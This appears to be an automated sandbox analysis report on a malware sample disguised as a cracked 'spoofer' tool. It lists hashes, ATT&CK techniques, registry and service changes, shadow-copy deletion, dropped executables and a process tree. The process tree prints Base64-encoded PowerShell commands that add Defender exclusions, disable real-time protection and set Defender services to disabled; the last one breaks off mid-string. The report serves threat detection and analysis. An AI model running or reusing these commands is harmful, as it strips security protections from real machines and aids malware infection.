b078eee0e95d8edbff36a2992df385fac4f3e73ffcb6eef5be969bb72153d852

Analysis

user interaction
yes
max time kernel
35s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/07/2026, 11:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
zuqraspoofercracked.exe
Size 8.9MB
Sample260723-m366yahp5w
SHA256 b078eee0e95d8edbff36a2992df385fac4f3e73ffcb6eef5be969bb72153d852
MD5 72ce11b72df44be8742821116a3fbd23
SHA1 7eb3947748618f8be7725d1bdb160f17faab7f4a
SHA512 1705a2d0b6193c72e1228fbf252024184b38b61a22d04357a0f7c5654ba4564f4d5e6669004c6b6b63f6afbc2fdae6ba65d1ae2335fc0bbdf3f89069728e188c
SSDEEP 196608:vB4MT62Fky9rh0FmYs34o+ImbRQu6Tqx68TWrt5KHhciCE22nDb:vT62Fky9U7I4oyuqx68TW2HtnnD
TLSH
T1E796128311699243DB715CB2099C9816B96B39633FAE131BD204BEFDC3AD4ADCD41E87
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/files/0x000d00000001c44c-20.dat	disable_win_def
behavioral2/memory/5920-54-0x00000000007E0000-0x00000000007EA000-memory.dmp	disable_win_def

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	winDefKiller.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	powershell.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	winDefKiller.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	winDefKiller.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	winDefKiller.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	winDefKiller.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	winDefKiller.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	winDefKiller.exe

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	powershell.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security	powershell.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3264	powershell.exe
3760	powershell.exe
5764	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
3324	DefBypass.exe
4088	günceldoruce.exe
2536	sifirla_guclu.exe
5920	kill_defender_silent.exe
936	winDefKiller.exe
52	vmaxspoofercracked.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4468	powercfg.exe
5364	powercfg.exe
2904	powercfg.exe
328	powercfg.exe
1492	powercfg.exe
3240	powercfg.exe
1400	powercfg.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4136	sc.exe
1680	sc.exe
2264	sc.exe
5924	sc.exe
4700	sc.exe
2672	sc.exe
5524	sc.exe
3724	sc.exe
704	sc.exe
4544	sc.exe
4708	sc.exe
4556	sc.exe
2976	sc.exe
6048	sc.exe
396	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4676	cmd.exe
3464	cmd.exe
4472	cmd.exe
4692	cmd.exe
3244	cmd.exe
2884	cmd.exe
2352	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DefBypass.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zuqraspoofercracked.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5204	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
984	powershell.exe
984	powershell.exe
3900	powershell.exe
3900	powershell.exe
5764	powershell.exe
5764	powershell.exe
3900	powershell.exe
984	powershell.exe
5764	powershell.exe
3456	WMIC.exe
3456	WMIC.exe
3456	WMIC.exe
3456	WMIC.exe
4088	günceldoruce.exe
3264	powershell.exe
3264	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeDebugPrivilege	5764	powershell.exe
Token: SeIncreaseQuotaPrivilege	5764	powershell.exe
Token: SeSecurityPrivilege	5764	powershell.exe
Token: SeTakeOwnershipPrivilege	5764	powershell.exe
Token: SeLoadDriverPrivilege	5764	powershell.exe
Token: SeSystemProfilePrivilege	5764	powershell.exe
Token: SeSystemtimePrivilege	5764	powershell.exe
Token: SeProfSingleProcessPrivilege	5764	powershell.exe
Token: SeIncBasePriorityPrivilege	5764	powershell.exe
Token: SeCreatePagefilePrivilege	5764	powershell.exe
Token: SeBackupPrivilege	5764	powershell.exe
Token: SeRestorePrivilege	5764	powershell.exe
Token: SeShutdownPrivilege	5764	powershell.exe
Token: SeDebugPrivilege	5764	powershell.exe
Token: SeSystemEnvironmentPrivilege	5764	powershell.exe
Token: SeRemoteShutdownPrivilege	5764	powershell.exe
Token: SeUndockPrivilege	5764	powershell.exe
Token: SeManageVolumePrivilege	5764	powershell.exe
Token: 33	5764	powershell.exe
Token: 34	5764	powershell.exe
Token: 35	5764	powershell.exe
Token: 36	5764	powershell.exe
Token: SeBackupPrivilege	6052	vssvc.exe
Token: SeRestorePrivilege	6052	vssvc.exe
Token: SeAuditPrivilege	6052	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5764	powershell.exe
Token: SeSecurityPrivilege	5764	powershell.exe
Token: SeTakeOwnershipPrivilege	5764	powershell.exe
Token: SeLoadDriverPrivilege	5764	powershell.exe
Token: SeSystemProfilePrivilege	5764	powershell.exe
Token: SeSystemtimePrivilege	5764	powershell.exe
Token: SeProfSingleProcessPrivilege	5764	powershell.exe
Token: SeIncBasePriorityPrivilege	5764	powershell.exe
Token: SeCreatePagefilePrivilege	5764	powershell.exe
Token: SeBackupPrivilege	5764	powershell.exe
Token: SeRestorePrivilege	5764	powershell.exe
Token: SeShutdownPrivilege	5764	powershell.exe
Token: SeDebugPrivilege	5764	powershell.exe
Token: SeSystemEnvironmentPrivilege	5764	powershell.exe
Token: SeRemoteShutdownPrivilege	5764	powershell.exe
Token: SeUndockPrivilege	5764	powershell.exe
Token: SeManageVolumePrivilege	5764	powershell.exe
Token: 33	5764	powershell.exe
Token: 34	5764	powershell.exe
Token: 35	5764	powershell.exe
Token: 36	5764	powershell.exe
Token: SeIncreaseQuotaPrivilege	5764	powershell.exe
Token: SeSecurityPrivilege	5764	powershell.exe
Token: SeTakeOwnershipPrivilege	5764	powershell.exe
Token: SeLoadDriverPrivilege	5764	powershell.exe
Token: SeSystemProfilePrivilege	5764	powershell.exe
Token: SeSystemtimePrivilege	5764	powershell.exe
Token: SeProfSingleProcessPrivilege	5764	powershell.exe
Token: SeIncBasePriorityPrivilege	5764	powershell.exe
Token: SeCreatePagefilePrivilege	5764	powershell.exe
Token: SeBackupPrivilege	5764	powershell.exe
Token: SeRestorePrivilege	5764	powershell.exe
Token: SeShutdownPrivilege	5764	powershell.exe
Token: SeDebugPrivilege	5764	powershell.exe
Token: SeSystemEnvironmentPrivilege	5764	powershell.exe
Token: SeRemoteShutdownPrivilege	5764	powershell.exe
Token: SeUndockPrivilege	5764	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 3900	4376	zuqraspoofercracked.exe	89
PID 4376 wrote to memory of 3324	4376	zuqraspoofercracked.exe	91
PID 3324 wrote to memory of 984	3324	DefBypass.exe	92
PID 4376 wrote to memory of 4088	4376	zuqraspoofercracked.exe	93
PID 4376 wrote to memory of 2536	4376	zuqraspoofercracked.exe	95
PID 2536 wrote to memory of 3464	2536	sifirla_guclu.exe	96
PID 3324 wrote to memory of 5920	3324	DefBypass.exe	97
PID 5920 wrote to memory of 5764	5920	kill_defender_silent.exe	99
PID 3324 wrote to memory of 936	3324	DefBypass.exe	101
PID 4376 wrote to memory of 52	4376	zuqraspoofercracked.exe	102
PID 3464 wrote to memory of 616	3464	cmd.exe	103
PID 2536 wrote to memory of 4472	2536	sifirla_guclu.exe	105
PID 4472 wrote to memory of 4904	4472	cmd.exe	107
PID 2536 wrote to memory of 4692	2536	sifirla_guclu.exe	108
PID 4692 wrote to memory of 1680	4692	cmd.exe	110
PID 2536 wrote to memory of 3244	2536	sifirla_guclu.exe	111
PID 3244 wrote to memory of 5204	3244	cmd.exe	113
PID 2536 wrote to memory of 2884	2536	sifirla_guclu.exe	117
PID 2884 wrote to memory of 3456	2884	cmd.exe	119

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\zuqraspoofercracked.exe
"C:\Users\Admin\AppData\Local\Temp\zuqraspoofercracked.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAdAB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAaAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAYQBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAbgBsACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3900
- C:\Users\Admin\AppData\Roaming\DefBypass.exe
  "C:\Users\Admin\AppData\Roaming\DefBypass.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAbABoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGsAZgB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAawBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAYwBiACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:984
- - C:\Users\Admin\AppData\Roaming\kill_defender_silent.exe
    "C:\Users\Admin\AppData\Roaming\kill_defender_silent.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand DQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBDADoAXAAqACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEEAcgBjAGgAaQB2AGUAUwBjAGEAbgBuAGkAbgBnACAAMQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAxACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAMQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUASQBPAEEAVgBQAHIAbwB0AGUAYwB0AGkAbwBuACAAMQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUgBlAG0AbwB2AGEAYgBsAGUARAByAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgADEAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAxACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAYQBuAG4AaQBuAGcATQBhAHAAcABlAGQATgBlAHQAdwBvAHIAawBEAHIAaQB2AGUAcwBGAG8AcgBGAHUAbABsAFMAYwBhAG4AIAAxACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAYQBuAG4AaQBuAGcATgBlAHQAdwBvAHIAawBGAGkAbABlAHMAIAAxACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAcgBpAHAAdABTAGMAYQBuAG4AaQBuAGcAIAAxACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBIAGkAZwBoAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwANAAoADQAKACMAIABTAHQAbwBwACAAUwBlAHIAdgBpAGMAZQBzAA0ACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFcAZABOAGkAcwBTAHYAYwAnACAALQBOAGEAbQBlACAAUwB0AGEAcgB0ACAALQBWAGEAbAB1AGUAIAA0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXABXAGkAbgBEAGUAZgBlAG4AZAAnACAALQBOAGEAbQBlACAAUwB0AGEAcgB0ACAALQBWAGEAbAB1AGUAIAA0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXABTAGUAbgBzAGUAJwAgAC0ATgBhAG0AZQAgAFMAdABhAHIAdAAgAC0AVgBhAGwAdQBlACAANAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAADQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAUwBlAHIAdgBpAGMAZQBzAFwAVwBkAG4AaQBzAEQAcgB2ACcAIAAtAE4AYQBtAGUAIABTAHQAYQByAHQAIAAtAFYAYQBsAHUAZQAgADQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAHcAZABmAGkAbAB0AGUAcgAnACAALQBOAGEAbQBlACAAUwB0AGEAcgB0ACAALQBWAGEAbAB1AGUAIAA0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXAB3AGQAYgBvAG8AdAAnACAALQBOAGEAbQBlACAAUwB0AGEAcgB0ACAALQBWAGEAbAB1AGUAIAA0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoADQAKACMAIABSAGUAZwBpAHMAdAByAHkAIABEAGkAcwBhAGIAbABlAA0ACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABSAGUAYQBsAC0AVABpAG0AZQAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AJwAgAC0ATgBhAG0AZQAgAFMAcAB5AE4AZQB0AFIAZQBwAG8AcgB0AGkAbgBnACAALQBWAGEAbAB1AGUAIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAAtAE4AYQBtAGUAIABTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAtAFYAYQBsAHUAZQAgADAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABGAGUAYQB0AHUAcgBlAHMAJwAgAC0ATgBhAG0AZQAgAFQAYQBtAHAAZQByAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAtAFYAYQBsAHUAZQAgADQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAC0ATgBhAG0AZQAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAALQBWAGEAbAB1AGUAIAAxACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIAAtAE4AYQBtAGUAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgAC0AVgBhAGwAdQBlACAAMQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAADQAKAA0ACgAjACAARABlAGwAZQB0AGUAIABGAGkAbABlAHMAIAAvACAAUgBlAGcAIABrAGUAeQBzACAAKAB3AGkAdABoACAAZQByAHIAbwByACAAaABhAG4AZABsAGkAbgBnACAAdABvACAAcAByAGUAdgBlAG4AdAAgAHYAaQBzAHUAYQBsACAAcABvAHAAdQBwAHMAIABpAGYAIABsAG8AYwBrAGUAZAApAA0ACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAVw